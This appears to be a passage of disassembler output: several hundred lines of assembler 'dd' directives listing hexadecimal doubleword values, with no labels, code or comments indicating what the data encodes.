		dd 0CE6048FBh, 0A127E700h, 483FDE33h, 76AFD10Eh, 31A420B5h
		dd 7539AD0h, 0BB4E4FE4h, 5800FE28h, 0DA5254BCh,	0D7B11700h
		dd 9DE2B883h, 0C39C00D9h, 782B427Eh, 0CB006112h, 6C7BCEADh
		dd 5160AB5h, 407A3041h,	9CBA003Ah, 0B13FD8DEh, 0A1C55C00h
		dd 0F1C2C2Fh, 0FA7800D4h, 0CA29ACCDh, 3607A0F9h, 85A56E2Bh
		dd 31638A80h, 0F667004Fh, 0B2BB82DEh, 0C50B9C28h, 0FD21B3h
		dd 3E0BA4E9h, 8B000A8h,	0DBC19D11h, 0E90F341Fh,	0C1AF49FEh
		dd 0B0B528C4h, 0C9CF2880h, 0BBC0452Bh, 23F7C700h, 6548999Eh
		dd 5D910002h, 3E0A9033h, 37F27612h, 80D8E43Eh, 0F63C213Dh
		dd 14676EF2h, 0F4A94DD4h, 0C64A4900h, 309B6301h, 0D6C01850h
		dd 0EB4B701Ch, 0D0A732C0h, 722A0E93h, 0CB1C00B1h, 0AF58F7E6h
		dd 0D8EA749Eh, 9604103h, 0F8796E3Ch, 3D6FF1h, 4F1C6736h
		dd 1DFABFCh, 0C8520800h, 0B0A63F8Ah, 4641001Fh,	0CC544D0Ch
		dd 0D500FC9Dh, 17195D9Fh, 6888C55h, 5BB62AA6h, 0DF179023h
		dd 2E184547h, 7642D8h, 877EE0Eh, 0F7ECB67Dh, 0FAE8400h
		dd 9DCF1972h, 0FE0600BBh, 0A718DBBAh, 0EA00E033h, 0AFD74992h
		dd 6CA087h, 0A178BCB2h,	0A908F87Dh, 48143C92h, 60A38612h
		dd 9B78168h, 0A8ED0F7Eh
		dd 6FCC7B06h, 0BA03D738h, 73A637D1h, 0CACECAh, 289DDF27h
		dd 0F9520179h, 68B5620Bh, 2FFC00CCh, 280EFC3Ch,	22ECF08Ch
		dd 8B60041Bh, 0DF290AC1h, 0C1AA264Ch, 0DBA30016h, 102F1FCAh
		dd 45818400h, 0EAFBAF3Fh, 380B00DCh, 0FCA36340h, 0B00069E7h
		dd 12B57131h, 4837BC48h, 0B90B30F7h, 6C43A241h,	0D0681000h
		dd 0F08F4E13h, 8DA7032Eh, 0B9F72B08h, 0F93BD8D8h, 6683C102h
		dd 49BDA8D4h, 4CC18B0Ch, 8C4B70h, 0E6AB8A93h, 0A00B715Eh
		dd 2E00687Ch, 4C4B3BD9h, 0C217D17h, 5473886Ch, 1D7A1570h
		dd 0C601A700h, 457A3774h, 38ACA8C9h, 6241354h, 1F0B02F4h
		dd 88A07503h, 0F08A7DA3h, 0AE58FB00h, 77117B97h, 1B300E5h
		dd 80137FF1h, 7D00F8EFh, 0CBD320A5h, 813AB0h, 328F08F6h
		dd 33E67BB2h, 0CC00B5E8h, 0A2EA6E71h, 9A92A6h, 36494F02h
		dd 5DBA9799h, 87A1EB00h, 2276B5CDh, 0EF620050h,	4E8A58D9h
		dd 9000B627h, 1C6ADCF6h, 54A7B2Dh, 6034E872h, 0FA96C404h
		dd 9014C9E0h, 0C45E0057h, 688A2AAEh, 0AA0030D7h, 0F87C0797h
		dd 8440A9h, 0AF480493h,	0C8A1D57Bh, 15000CF8h, 0A9B57752h
		dd 77FB8ACDh, 980A484Bh, 973FC607h, 277460D5h, 0A3005D25h
		dd 0FD7AC37Eh, 0A7BE99h, 0E68B9EAh, 397D5747h, 5BE60400h
		dd 0CCFCB5F2h, 0E4F84CA6h, 0A4C9B601h, 0D4B42EE7h, 0EE304235h
		dd 0CC79903Eh, 0A1D78049h, 8793D528h, 51C0D4Dh,	0BC712D2Eh
		dd 7953D820h, 371B006Ah, 0FCD6AE57h, 0CB3C7740h, 169480ACh
		dd 0FAF2BD28h, 0E5E904ECh, 0C00D0BB7h, 5918ED54h, 0E0F46D00h
		dd 0E8E7BE89h, 0D3190021h, 0ED768C46h, 0F8603A3Ch, 17AAFE88h
		dd 513710Bh, 51FC836Bh,	100480EBh, 0DEEDD7A5h, 8E9FF340h
		dd 7C7B4000h, 0B7DF66DAh, 8BCC00A8h, 6A210B16h,	60B8F236h
		dd 0EE9D7414h, 707100FCh, 21E0B46Dh, 7CA8A02Ch,	0A2B80B11h
		dd 0D8C68A3h, 0D1009929h, 48C8F938h, 6A663h, 9722B476h
		dd 1EEAC784h, 44E0D600h, 0FE5D772Dh, 7D6A3E30h,	0CD10FD80h
		dd 0AC9DA59Fh, 0D990600h, 0EA6F6849h, 6DB11C58h, 0C3F6C028h
		dd 43B5673Ch, 929EBE00h, 6A494C4Eh, 7F911DCDh, 53D6A5h
		dd 97D1AE56h, 0F500ADDFh, 8625247Bh, 0A07044BAh, 784A90h
		dd 0ADCFB421h, 1A685AFEh, 1FCCD700h, 0DE508F6Fh, 2EEB005Eh
		dd 5B18B288h, 1B00061Eh, 42200EF3h, 7F3DD460h, 919A0059h
		dd 7ED9CDD0h, 0F900AAE7h, 0F4CF2535h, 3E5024C9h, 0E707061h
		dd 0FE7DE3FBh, 7EFD405Fh, 4ADDDE78h, 74EE4Ch, 71C45ADFh
		dd 187033A6h, 31112529h, 0B61CF68Fh, 0FF80C11Ah, 0CCD3C5EAh
		dd 23040077h, 0E8DC0B63h, 863FE591h, 55F880B7h,	653F9AB4h
		dd 0F5D7010Dh, 0C3F73A48h, 15542401h, 0E67738h,	8EF93C4Ah
		dd 39A5E94h, 3D7F8728h,	90BFD2DAh, 32A69074h, 0C2FC1300h
		dd 0EFD79CD6h, 374B006Dh, 16EA0E0Fh, 0C47DB32Eh, 0FA51F004h
		dd 4090754Ch, 3F7749CAh, 1F18058Dh, 29130887h, 7BB0111Eh
		dd 0F4001D1Fh, 762E7512h, 46D101EAh, 2C742842h,	7BC8E04Eh
		dd 4064774Dh, 0CAF85614h, 0A57BB03h, 0A18E3521h, 0F9E393F0h
		dd 0FD30A809h, 0F2E00B15h, 0BCA1741Eh, 0F1BA3449h, 0C2389FF6h
		dd 0DC8030B4h, 0A93FFA56h, 7D007658h, 271D1F9Bh, 259CB941h
		dd 4F925900h, 31A37F0h,	74B253E4h, 7ED04E4Bh, 0EC008CDBh
		dd 92C94DA0h, 0F443F8D7h, 34F8CBh, 0DAB1FDBCh, 0E1CA548Eh
		dd 8ACC3Ch, 3AA3A186h, 0EEF77Bh, 8DB8B973h, 24AFD30Bh
		dd 914A2630h, 18B49D69h, 0F0E3F099h, 8CAFBC8h, 0FE1EA064h
		dd 15B4E540h, 39E92E4Ch, 7602795Bh, 93E149A8h, 2FDEF490h
		dd 87197500h, 7F779BC5h, 609C7435h, 27CC2103h, 3C757475h
		dd 0BF0002FEh, 681589E3h, 1D7132F2h, 80B255EBh,	9792C88Bh
		dd 11F8B60Bh, 7318D262h, 0C0C463A1h, 5704389h, 5C1923F6h
		dd 7BDC4A76h, 0DA465C48h, 0B641300h, 0F0F3ABA3h, 0DC692218h
		dd 683B7870h, 76988844h, 0AD076D46h, 1E100F16h,	75F90180h
		dd 1530224Eh, 3B5260E8h, 6B44290h, 9F885B78h, 6FF20010h
		dd 0D37FA8Ch, 0B900E421h, 9B9CE6CCh, 0D0BB89h, 8161E288h
		dd 0BD66337h, 0E4621200h, 4076EA4Fh, 69AC005Ah,	0F3256A95h
		dd 9974D505h, 0B0005575h, 0A842A2DBh, 0EE3B8E4h, 439B5B59h
		dd 0D4194A8Ch, 360262EAh, 0B3D64D18h, 5627BFh, 968927D9h
		dd 9B351400h, 307ED682h, 411A006Dh, 0AA46F7Fh, 4F00E256h
		dd 0ADA2D503h, 0C46DDF0h, 88F430F8h, 0B531BD48h, 0EEA2681Ah
		dd 7A64A30h, 25AB0FA3h,	947709Dh, 3001A85Bh, 0FF96C398h
		dd 9071F891h, 0A04D7FF0h, 0E32190Ch, 0E3BB6AF3h, 0A85585C0h
		dd 0EB00AF6Eh, 0D5B2C292h, 14DD1215h, 0B8BA1E3Dh, 19D41D00h
		dd 0F1AD5AA4h, 890CECE6h, 0F99C2E2Bh, 0ED970093h, 0DDE1A223h
		dd 0F607C541h, 68EED1B4h, 0A5865010h, 0F0D800F4h, 0D2123E3Ah
		dd 58003DA7h, 5A3480D1h, 0C169ED8Eh, 0A820C228h, 3800D38Dh
		dd 0B2924912h, 0E941BEh, 0DF08DB7Bh, 0C5733F71h, 0CDA7D007h
		dd 0A1001662h, 7812E8Fh, 0B7D302C2h, 50583649h,	8BD06B11h
		dd 62E08F0Ch, 0D17D0269h, 18F12707h, 5780CE08h,	3C9B5EEAh
		dd 0FE180B3Fh, 0C93B1052h, 4ADEF500h, 0A34385BBh, 18809862h
		dd 598CA877h, 2E0066FDh, 4E81362Ch, 0AFA251h, 1205EC08h
		dd 88628EE9h, 159C900h,	6481BBA0h, 18DE03FAh, 4F7FCA36h
		dd 629F901Dh, 0FC8A1340h, 3B08DA04h, 849F4228h,	0CB340C4h
		dd 0EEE6097Fh, 26986E60h, 70EB86BFh, 9F1A1DD2h,	0F25247B3h
		dd 0BDEF60AFh, 1B622D03h, 20567A19h, 0C05D2C3Fh, 1559040h
		dd 3A51B994h, 0D3DB3C3Bh, 2BF71000h, 556A994Eh,	0A321C75Eh
		dd 0AB0AA090h, 0DDFE66D5h, 52252300h, 6CD6C538h, 467D73h
		dd 4D5D9669h, 0B74ACC55h, 0FCF16326h, 0D75B280Eh, 298F4AFAh
		dd 0B7E700FCh, 3127A624h, 0B2008F78h, 14F12863h, 0CACBB8h
		dd 0C0995AF2h, 0A079193h, 2B006A7Fh, 5BD4B1BCh,	10D7F4Ah
		dd 0B4C9978Ah, 0C120159Eh, 512CFF07h, 0CF00D89Ch, 82884F2Fh
		dd 0A3A650A0h, 2319386Ah, 1A22A0Ch, 0D03C8C50h,	0CAFA0F07h
		dd 6DA60028h, 0C15077E0h, 266E0252h, 0DF19812Bh, 9430DEDAh
		dd 3BB8ACCh, 0FB1A12EFh, 8B98E00Fh, 2E0065BDh, 20168F3Dh
		dd 702D9BAh, 1AAE19E9h,	7618732Bh, 6DC9C08Dh, 7E12BCC1h
		dd 430C8E11h, 0E632B9A5h, 0FB480FECh, 4C107B5h,	0C0F3AABAh
		dd 0FA06BC6Ah, 0D5A610B3h, 26311860h, 0C6A33981h, 5F03ED00h
		dd 566E36B0h, 57DA4h, 7D9AF6D2h, 0DDEA305Bh, 879B333Dh
		dd 7215168Ch, 44829960h, 65D0067h, 0E4462158h, 0AC00FE09h
		dd 0B2CF4ADCh, 0AD5530h, 0F94954A7h, 3E5CB65Dh,	75A81305h
		dd 403B1EBh, 0ECDC17h, 0FDD59D10h, 0DB331116h, 0C428C500h
		dd 3150091Ah, 5E7B8BFh,	0EC724B81h, 0EF140862h,	22539542h
		dd 8C22FE7Fh, 22B324F8h, 83031078h, 3DCED80h, 7D77A050h
		dd 0CCA862A1h, 0FC008D1Ch, 44A50BDFh, 36CAB95h,	30E5A74Fh
		dd 48B85405h, 4B0082F3h, 0C0F929FDh, 0E527A37h,	17D81840h
		dd 0F5DA0F52h, 0FF39ADC0h, 0C538151Eh, 32C30012h, 3AB1C0EEh
		dd 21B61560h, 0CB008850h, 9CF0709Dh, 0DC00D78Dh, 60C0E93Ch
		dd 160163h, 0BA1784ADh,	0CEB7D44Fh, 7068B61Eh, 0E9B06782h
		dd 0A0336366h, 60AAEF2Dh, 5C4511C5h, 0F60FCB1Eh, 40516E84h
		dd 40CD417Fh, 125900BDh, 0AF3BC0EFh, 8200F4C4h,	3AD76502h
		dd 85B5DCh, 72463456h
		dd 4488A90Bh, 718EB800h, 80739186h, 0A0100060h,	4E53946Dh
		dd 0ABE0AED5h, 0C0AF0400h, 0F49A354Ch, 7A130187h, 0E52D831Dh
		dd 995C60FFh, 0A54F3E00h, 241473DAh, 0A3CE81Fh,	70E76FD8h
		dd 0C32684h, 46860B48h,	0F50E1163h, 0A6900D8Eh,	758D516h
		dd 0CDD43BFFh, 4A4F003h, 0F900624Bh, 27077829h,	90171CDEh
		dd 162200F7h, 0ED69218Fh, 5CE0A4E6h, 4900A7FAh,	0B53213C6h
		dd 3C3DF523h, 8F000762h, 2FD07E81h, 1800F64Dh, 0ECEFC30Dh
		dd 7B917BF2h, 0E3241ECDh, 15C480EAh, 0D439A4ACh, 14BC2500h
		dd 7D0A2E9Eh, 8B5F1FE2h, 2AFD8075h, 7B26AC63h, 4B9AD700h
		dd 2668001h, 0DF9602E7h, 0E6D6535Dh, 1DAEFC80h,	300EE010h
		dd 40A261BFh, 0BCCDD20Ch, 0E513001Ch, 0AC6CD705h, 0A5076608h
		dd 2D14C7F0h, 0A4BB370h, 0B6E907BCh, 0C004F7A6h, 0D59ADF81h
		dd 140DB48h, 8DEDE8B5h,	5D30222Bh, 0CCDC0913h, 0E180B425h
		dd 617A0AE2h, 0DA951107h, 60A05817h, 67DC09Eh, 0C8479A91h
		dd 0B200508Eh, 0FFA0179Bh, 76EE93CFh, 0A3835811h, 21450B00h
		dd 0CC72E32h, 0D262E600h, 0C9820835h, 741171CFh, 0C2481437h
		dd 9B008BA3h, 0E990FBF4h, 0DB17BECAh, 0D11D62B1h, 1AF99EC0h
		dd 7541DFh, 77871373h, 0ED05C0ECh, 88AD2500h, 3C3091C1h
		dd 15CD12D6h, 0B0CD00CEh, 856CE0A9h, 0EEEAF100h, 35E48402h
		dd 55B201CDh, 0B171804Dh, 2350C019h, 80477E3Eh,	0AD6E6C3Ch
		dd 0E78A859h, 0BB124446h, 64F2CC00h, 0D100FFA3h, 6357E0B0h
		dd 2905954h, 0AEC76B53h, 5C60BC10h, 0E500713Bh,	0AC3C056h
		dd 12269023h, 0E6492B5h, 0C941694Ch, 0DFA52280h, 68DCE5D0h
		dd 913F3500h, 0CA0F5FF9h, 0C2F877h, 0EE1761DDh,	9B5787AFh
		dd 49FD7F0Fh, 99D741ECh, 0CCA9FA1Dh, 662F006Ch,	0B2ED1D6h
		dd 7CCB8201h, 0A9971CF7h, 0F4D2B1F0h, 5A2C035Bh, 0CC58DFE6h
		dd 78E17AE8h, 1FAB7301h, 2E304832h, 1FA1A9D0h, 8041CAEFh
		dd 6E71D142h, 9D3A4EE1h, 0C72C87D3h, 1BD091A0h,	0F74D953h
		dd 0F1ECD7A2h, 0AC0FC3BEh, 0C9C044C8h, 7EE60871h, 773FAF38h
		dd 7443542Eh, 0B0CEBF03h, 3B9DC8D2h, 6C8C0076h,	0D7486195h
		dd 0D80006A8h, 15927029h, 0BF767DDh, 432D1AA5h,	0CC057ED6h
		dd 0F981E76Eh, 80C6BBF5h, 0C1933B8h, 0ADB001Dh,	0AE6995B2h
		dd 0FD4CBADDh, 843000ACh, 6A8AA850h, 2FFC00C5h,	76DFF47h
		dd 0D7FA433Eh, 0F3005EFAh, 0CF284434h, 503F6717h, 3C15B856h
		dd 87AE6582h, 0C0B81E23h, 0AFD28A96h, 0FB00338Fh, 32D84299h
		dd 0F2312D6Eh, 740D382Eh, 401FC696h, 37BD0760h,	9E017F20h
		dd 6C904544h, 0C030A9BCh, 965E003Ah, 0B1F1D31Ch, 8A0E9ABEh
		dd 837E1D5Bh, 80FA1487h, 3F91739Ch, 72820C29h, 2A217B2Eh
		dd 0A11BB540h, 0D951130Fh, 711E20DBh, 9679DCh, 26FCAA21h
		dd 0F168D745h, 7C3EF700h, 0BC43C998h, 7AF0E6DEh, 65B501FBh
		dd 9CB17ADFh, 0D436CC90h, 90DF339h, 0AA0AD2h, 81236178h
		dd 1D100CBh, 44AC7D11h,	205E1BBh, 3973CEBh, 0FC38F800h
		dd 1ED88C48h, 94B64D5Ah, 0E71FCCB2h, 4FE90F54h,	0FFA1FF67h
		dd 0E1443980h, 34C16129h, 2F46954Bh, 59FCC9D1h,	5C7907EBh
		dd 0D0DC7E13h, 5FCFCADEh, 2BC45601h, 4C041042h,	3D79CC40h
		dd 6160030h, 0BECC0798h, 6A0080E1h, 0C583FA70h,	38D26827h
		dd 0E3806EBBh, 91875624h, 4E984AEDh, 9F000CE6h,	0FCD94643h
		dd 0DFE434h, 0F3145737h, 15495E03h, 0CA7DAF0Bh,	122F8D7h
		dd 0C63E4827h, 70358D79h, 220087E8h, 97469894h,	9C1EF5h
		dd 0D7A9D44h, 369AFFC0h, 0ABD14100h, 9890EF16h,	217E0054h
		dd 0C24A1DFEh, 21C0E438h, 0C9EB04A8h, 0BCA3B12h, 5F97DC00h
		dd 83E4E98Eh, 0CB7F5300h, 1A54339Eh, 18606B3h, 1EBD6F67h
		dd 1D5CF1F4h, 351C1231h, 17DE3840h, 45074Ch, 0A3ED036Bh
		dd 0D94314B9h, 124F9400h, 0B3014140h, 0CCC026ADh, 39968344h
		dd 0DF98C4A2h, 0CA0050CEh, 0F42387C2h, 0E872A9C9h, 79DEC60h
		dd 36F944CBh, 0C0FA5492h, 0E682FD84h, 0CDE9CF1Eh, 18C802FBh
		dd 0C01B575Bh, 4C513508h, 99002DFAh, 0C73DB6F4h, 8501E08Ch
		dd 0BDBF3CA5h, 28721AF7h, 0D911210Bh, 0E6734C02h, 0F42498E0h
		dd 0D5DF4800h, 0D3C44B06h, 2328000Ch, 0B7031A55h, 4F00EC3Ch
		dd 761324FFh, 1DF547Eh,	8CD121C4h, 0E4209E34h, 2390B58h
		dd 0A9F8012h, 0E8F5B36Ch, 0E44900E9h, 5BC10981h, 7600D55Fh
		dd 2EF95E54h, 4C32587Fh, 0C00084DFh, 0B4FD7B18h, 0B728EE9Ch
		dd 0CF2CBB84h, 0BF019DC5h, 3AD6E302h, 2A5C60h, 29120380h
		dd 4CDB1587h, 0A9709514h, 743800CCh, 90918149h,	8C332464h
		dd 3D823A84h, 86DC5C5Dh, 8B3712C0h, 7159F200h, 29A7D0AFh
		dd 0CEEE00FFh, 580A69B8h, 0D706C472h, 78C25907h, 0EC2E00A6h
		dd 81A84874h, 0AE77F01Ah, 0D818AC60h, 4883DB7Bh, 2009850h
		dd 46077AEFh, 0E6C39357h, 0B06305C4h, 39DA2C41h, 0DD00E494h
		dd 0DCE347B1h, 0B0059685h, 76BDD1E9h, 0BCE5FD80h, 54910779h
		dd 0A0274FDEh, 8185DD4Dh, 8026193Ch, 16715ACCh,	0B8CD64h
		dd 3066F33h, 93E42555h,	32574000h, 0AF141E01h, 0A0420748h
		dd 409F472Ah, 946F4BEEh, 832B100h, 2EB67D4h, 4F2C00B8h
		dd 0F2E45D99h, 0DD01ED13h, 966D69B2h, 3030B0BCh, 8364005Ch
		dd 0C49EB805h, 53063985h, 9D09F572h, 67E81F10h,	0C9C681BBh
		dd 0E842BA84h, 24246482h, 10130C1h, 0E3E74C50h,	182D8C30h
		dd 0A00A076Eh, 8B01A073h, 6A478110h, 4BC46071h,	0DE0C03D4h
		dd 6E33C8FFh, 0D0E0EAFAh, 0BE7C3090h, 0DC993500h, 0BC5248C4h
		dd 24B3E864h, 1F00A47Dh, 6721E3Ah, 1076B24Fh, 793FBC78h
		dd 0E49E000Ah, 25F5D9C9h, 606701E0h, 113D4F68h,	9B2FE880h
		dd 0D11D7C0Fh, 0A16F825Ah, 4E05515h, 811FA43Ch,	840C4E58h
		dd 0F8B158C4h, 0C08F7E70h, 90F0EF70h, 0A8C0D83Ah, 2FDDE6FEh
		dd 0F78E1E10h, 831CBEh,	0EF687EE9h, 0D90EB4B0h,	8035C739h
		dd 2691D1DDh, 3081EFBEh, 6B17372Ch, 2F34437Bh, 580CE9CBh
		dd 0F0146A75h, 54572430h, 8068002Eh, 16FAFFEDh,	72641160h
		dd 0BB5164h, 6BD4E483h,	0BC06180h, 44BA4F00h, 787BF749h
		dd 0DB393B71h, 95095107h, 0AA90705Fh, 2600F864h, 0C014317Ah
		dd 9C76A4h, 783F660Fh, 0EB4D5992h, 0B50E0800h, 2506957Ch
		dd 0B4FE4Bh, 79C37B5Ch,	5F5EBE84h, 7265E701h, 8F4771ADh
		dd 0A38CE8h, 0BD9AFEBh,	7C9AB6Bh, 0BC50A200h, 0F66653Ah
		dd 4B7274h, 0A6B47345h,	7170CD6Dh, 0F8C03376h, 0F842D5EBh
		dd 0F493A3ECh, 3C153280h, 0AC2A5A0Ch, 96A901B3h, 884228F6h
		dd 770E3081h, 80E87CEAh, 9AB24E40h, 8DCDF6h, 0E612F7C4h
		dd 1EB5CA26h, 47032F0Eh, 7B348059h, 0EAFC922h, 0F69E6F6Bh
		dd 43E060EEh, 55865F4Ah, 0D8F1C003h, 98B2542Fh,	888223h
		dd 9A686167h, 0B3E3D4DCh, 58121724h, 6C187980h,	902E7C6Eh
		dd 255C0064h, 5847AEEBh, 840BE7F3h, 2F933ED2h, 98156028h
		dd 541FFFF2h, 9883F88Bh, 792F27Fh, 2B3A4E6h, 1E68D7F6h
		dd 6EF8E780h, 1E00CAEEh, 2B719F56h, 0B27F28h, 952AB6FFh
		dd 7693E75Ah, 0DD00EF79h, 0B9D33E33h, 63F44Ah, 0C803A2FAh
		dd 0A4685802h, 0F89BDB03h, 80A3E565h, 75E0CCFh,	0D2B47B6Eh
		dd 5B2C803Ch, 90006784h, 24535D85h, 0CA33E1h, 0B5C7ED2Bh
		dd 1D041A3Ah, 6500DFFEh, 5D2166ECh, 0F640418Bh,	35D00013h
		dd 0B1E73A9Ch, 0AC003F1Fh
		dd 2EFF2571h, 0EA911Eh,	0F0EB37A4h, 0FBFD0554h,	3D3CE802h
		dd 40B3F66Dh, 26B1DBB1h, 0B1AB95h, 22A50D75h, 1E006664h
		dd 0FE63F25Dh, 0F3C9659Dh, 0AD6430h, 4E15ECFCh,	2F32C006h
		dd 0AC6C2600h, 0E8194188h, 0A5F200F7h, 2A189FE6h, 0BE00703Ch
		dd 81E1CF13h, 85672Eh, 696B1F78h, 7C6A11C6h, 4D4A5E00h
		dd 0EFDA9E4Eh, 0E5CC00B3h, 0F109198Bh, 95001A03h, 0B74B0282h
		dd 0A52344h, 0D09CEBC0h, 3664A7BAh, 7875AA00h, 0A2335F24h
		dd 0B1DA1339h, 0D4280053h, 3BB84BEFh, 1C769000h, 88AB22EAh
		dd 0E1F31424h, 1400D8A6h, 0D19F8A97h, 8B006552h, 32880CA0h
		dd 4ECBECh, 3BBACFDBh, 0A581537Dh, 8A28B603h, 0BE5E1424h
		dd 939F0040h, 0AF400C2Ah, 0E000EC05h, 4153367Bh, 0DC55E3h
		dd 82622421h, 0E65D03C6h, 0F74A1801h, 8748D596h, 0DCA9F840h
		dd 3DAB01E3h, 0C344A6AEh, 0DAD1E462h, 8DB13407h, 8E7B143Eh
		dd 4F4800EAh, 6D9E4F6h,	8A6BF971h, 0F400E042h, 8D9264E9h
		dd 9E5A75h, 0A308041Eh,	0FAE71724h, 85E18800h, 951B1D33h
		dd 0DB99013Ah, 8CF0FCC4h, 9FD8F25Eh, 2D08CA02h,	403ECC7Bh
		dd 0F3AC10h, 0ECF5B5AFh, 0C5118162h, 0C61A9700h, 6678BC5Ch
		dd 0A1BB13DBh, 1E203A0h, 0F6E9D78Fh, 2465EC99h,	3E790F00h
		dd 18CDBE48h, 5079C9h, 0F484CB41h, 6E4F80EDh, 3924B800h
		dd 0C25EE59Eh, 87440207h, 262CF566h, 5957B080h,	0E900EAD4h
		dd 0A58AC697h, 99AC6Eh,	248D70D3h, 0BC4E1FA3h, 0F42A31E5h
		dd 533E8418h, 6CD90046h, 0E43943B0h, 2E590C05h,	0CED83885h
		dd 9D7EF10Fh, 4680A076h, 6D20Ch, 7570414Fh, 2F2AAA5Eh
		dd 64BAA200h, 7EC1873Eh, 660C071Bh, 1005C8FBh, 1429D3DEh
		dd 21A51A00h, 0F42BAEF5h, 0E4200041h, 0A49C57E8h, 4424ECF6h
		dd 0C5043855h, 0E605A7CFh, 0EB60006Fh, 0C243958Bh, 0BBC3E700h
		dd 986CB74Ch, 0EE290049h, 6E7F0308h, 0C8E033D5h, 6FF9171Dh
		dd 62E6CD00h, 20FD5Ah, 0DDC93722h, 6C139660h, 0DA561A0Fh
		dd 0E06ACA14h, 7FCFF21Dh, 5821C716h, 9A237480h,	0A1B22E1Ah
		dd 72C00092h, 3CE2E461h, 0FCA80F02h, 874966F9h,	5BA5BCh
		dd 0DC45FE46h, 686C002Eh, 3BB9B1FFh, 0A139C043h, 9762008Bh
		dd 0A90D37D0h, 55D60FA6h, 32273C9Ah, 6475100Eh,	4C0E60BDh
		dd 403D77h, 594B6B2Dh, 53850792h, 10CB36F1h, 8A144C34h
		dd 2F743200h, 1EC1A8DDh, 3AB93F6Fh, 367ED180h, 770534B0h
		dd 93906D00h, 0A669C7A5h, 269C00BDh, 53E82866h,	0F0010706h
		dd 8E165EA0h, 41DA8D45h, 48AABE10h, 5FAFFA10h, 2A5AA0B2h
		dd 0D70DC401h, 15A35F9Fh, 3660AAC1h, 814707FBh,	800C1E57h
		dd 0F7EB3D25h, 5350FA01h, 0CDB6970Bh, 1C554F60h, 4388C72Dh
		dd 90F1493Eh, 0AF7533FFh, 0B34292E0h, 0E46CAD05h, 8A838B4Ch
		dd 0EBDA002Ch, 0F83DE695h, 2A096E16h, 8051DA17h, 964FBE28h
		dd 0C0F94B4Dh, 5E1D3E53h, 1C3AC370h, 0DCCC9E65h, 12D5A200h
		dd 66734Fh, 3313B909h, 6D4918EDh, 47C83500h, 641E3824h
		dd 0A59400C4h, 2A6F83F2h, 3C075D27h, 66FA1AB4h,	80B22182h
		dd 46E84AF4h, 25F91DE3h, 41BD42DDh, 90409865h, 140086C5h
		dd 56EDE723h, 0D1F8BEh,	179768DDh, 7D619ECh, 0C0429D24h
		dd 25280B00h, 0CBF453h,	3C94D0C9h, 36211975h, 6EA6A412h
		dd 18042E13h, 2480D4E3h, 0BD1AC167h, 5AEEBFD8h,	6A473402h
		dd 60576080h, 190BCB6Ch, 0A974C569h, 0B6904194h, 6F6C208Fh
		dd 0CB1FD124h, 0B780191Dh, 311D39B3h, 0DBED00E5h, 9A69457Dh
		dd 0D600B609h, 2CB32E15h, 161361Eh, 8E567B6Dh, 80FBFC94h
		dd 85E66839h, 3F1C90D6h, 249E7E76h, 0C0CE1E73h,	0F239FE82h
		dd 3890A02Bh, 17B7A91Ch, 4A40981Eh, 737E9FF8h, 0EBA2012Eh
		dd 9790194Bh, 0D0229Dh,	5BB3C5BCh, 8F66BDh, 62B8992Dh
		dd 2031ABD9h, 625E207h,	0F0943A6Ah, 17778880h, 2C834DA0h
		dd 0F2B77C0Ch, 3800C6F8h, 0EC88CC27h, 360EBF6h,	5B3F93FBh
		dd 1DFA58B3h, 5AC1B3C0h, 0F402ED00h, 629771CFh,	135FFA7Fh
		dd 43E93845h, 3B7656A4h, 98043804h, 0B280EED9h,	666ACBh
		dd 5F641F6Bh, 8BC37F34h, 1D9AA400h, 0F9A82886h,	20B9007Bh
		dd 71844ACEh, 23000411h, 1536BB7Eh, 258EFCh, 0F9B5EE66h
		dd 0D30F8753h, 0DD214900h, 79C068B2h, 655E0077h, 561F1F4h
		dd 0E5000EF9h, 0D0A7FAEAh, 399FC5h, 4C2B4931h, 91716D64h
		dd 0C8C4600h, 0E0AC560Dh, 0B9AD0538h, 94A42CEAh, 0B8C0EE10h
		dd 2D7AECh, 5B313674h, 843EC7CAh, 0D2F12A00h, 13548F07h
		dd 0BC431F93h, 48464017h, 279BF48Ch, 7914AE00h,	0DA344E87h
		dd 0C09CC0A7h, 0E77665D5h, 0C9163C90h, 0F8406D3Fh, 4B16B2D0h
		dd 0EDBA74DAh, 50C999D0h, 50CE1003h, 7E31C91h, 0F1C173C5h
		dd 411347CDh, 5264D423h, 8A193A2Ch, 0BFA38213h,	0C248FCC0h
		dd 6668DC61h, 0F181B993h, 7395EFC9h, 51433124h,	0C4D2E48Ch
		dd 0F900C116h, 10A4275Bh, 81C9BEh, 6324835Fh, 0E35E3CC0h
		dd 573EC405h, 28019066h, 0D0CDB73Ah, 0D84B788Ch, 0DA0AB170h
		dd 5002C984h, 3ACB930h,	3E1E00D9h, 0E6B8D09Fh, 0EB3D36FFh
		dd 49F20017h, 0AE9AEC30h, 80150085h, 9DC4ADF1h,	0AA00C075h
		dd 0DD3CA9A6h, 0A00F13h, 0B4499CC1h, 0BDD58795h, 86919900h
		dd 65B3A515h, 0A34E0080h, 0AF06614h, 0AA076241h, 129E75D3h
		dd 79CE1510h, 7A3E0B2Eh, 598BC8DAh, 507AF350h, 15847800h
		dd 0C11A3D70h, 270A0013h, 5802090Ch, 2C00222Ah,	779E0F45h
		dd 904F12Bh, 5BE06A4Fh,	0D860D70Fh, 18B43B06h, 3A1F2AEEh
		dd 1100EEEAh, 0B879DFC4h, 679701BCh, 3EA2467Bh,	612EF03Bh
		dd 5D932802h, 0A059394Ah, 29515798h, 9ECE0A05h,	17D4C332h
		dd 887210C2h, 0D2FF3E0Ah, 87B607A0h, 9C501039h,	6D5AFA6Ah
		dd 0C032B3ACh, 0B4A00329h, 0E8DE8E46h, 24005CF4h, 3778E044h
		dd 250A4Bh, 0EC631E2Ah,	0DD74BBEEh, 201C3B7Eh, 4880F202h
		dd 0D4F1A451h, 77380044h, 135C8A7Dh, 70004342h,	3E2D8676h
		dd 3F147BC1h, 1900F7DAh, 5D301FF4h, 5000C6ECh, 0FD239170h
		dd 7E4AAFh, 0F09C52Fh, 7F898AA3h, 0C9E48600h, 1E4CE039h
		dd 9D4F0FAEh, 0BB807A30h, 6CD4730Bh, 37111700h,	772A40A9h
		dd 0FCA40085h, 1E43D8F6h, 0EC004DA2h, 0D30BA1D1h, 0CEBFB7h
		dd 62344022h, 76DC188Ah, 194DAA07h, 8D202AF2h, 4C2EE63Bh
		dd 4700BF9Eh, 0A270733Dh, 0ED074A51h, 0F92B65E7h, 0E8680F70h
		dd 62A700E9h, 97D8B663h, 110050F3h, 1CAF534Eh, 53F640Ch
		dd 92F09BA8h, 0D9C280E3h, 38DFBCB3h, 811BCBh, 3C859B1Dh
